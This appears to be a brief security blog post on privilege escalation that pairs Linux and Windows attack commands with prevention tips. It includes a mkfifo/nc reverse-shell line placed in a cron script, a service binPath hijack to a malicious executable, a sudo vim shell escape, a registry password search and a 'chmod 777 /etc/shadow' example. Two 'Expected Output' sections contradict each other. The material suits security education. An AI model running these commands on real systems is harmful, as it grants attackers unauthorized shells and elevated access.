Privilege Escalation Vulnerability: Techniques and Prevention

Privilege escalation vulnerabilities allow attackers to gain elevated access to systems, often leading to complete compromise. Understanding these vulnerabilities is crucial for both offensive and defensive security professionals.

You Should Know:

1. Common Privilege Escalation Techniques

• Vertical Escalation (User to Admin):
• Exploiting misconfigured sudo permissions:

  sudo -l 
  sudo exploit_script.sh 
  

• Abusing SUID binaries:

  find / -perm -4000 2>/dev/null 
  

• Horizontal Escalation (User to User):

• Session hijacking via stolen cookies/tokens.
• Weak file permissions:

  ls -la /etc/passwd 
  chmod 777 /etc/shadow  Dangerous example! 
  

2. Windows Privilege Escalation

• Registry Misconfigurations:

  reg query HKLM /f "pass" /t REG_SZ /s 
  

• Service Exploitation:

  sc qc vulnerable_service 
  sc config vulnerable_service binPath= "C:\malicious.exe" 
  

3. Linux Privilege Escalation

• Kernel Exploits:

  uname -a 
  searchsploit Linux Kernel 5.8 
  

• Cron Job Abuse:

  crontab -l 
  echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT >/tmp/f" > exploit.sh 
  

4. Prevention & Mitigation

• Least Privilege Principle:

  chmod 750 /sensitive_directory 
  

• Regular Audits:

  lynis audit system 
  

• Patch Management:

  sudo apt update && sudo apt upgrade -y 
  

What Undercode Say:

Privilege escalation remains a critical attack vector in cybersecurity. Attackers leverage misconfigurations, weak permissions, and unpatched systems to gain unauthorized access. Defenders must enforce strict access controls, conduct penetration testing, and monitor logs for suspicious activity.

Expected Output:

$ sudo -l 
User demo may run the following commands on target: 
(ALL) NOPASSWD: /usr/bin/vim 

Exploiting this misconfiguration:

sudo vim -c '!sh' 

Stay vigilant, patch systems, and always validate permissions!

Relevant URLs:

• OWASP Privilege Escalation Guide
• GTFOBins (Linux Binary Exploits)
• Windows Privilege Escalation Checklist

Expected Output:

A secured system with no unnecessary sudo permissions, updated kernel, and restricted cron jobs.

References:

Reported By: Shashank Shekhar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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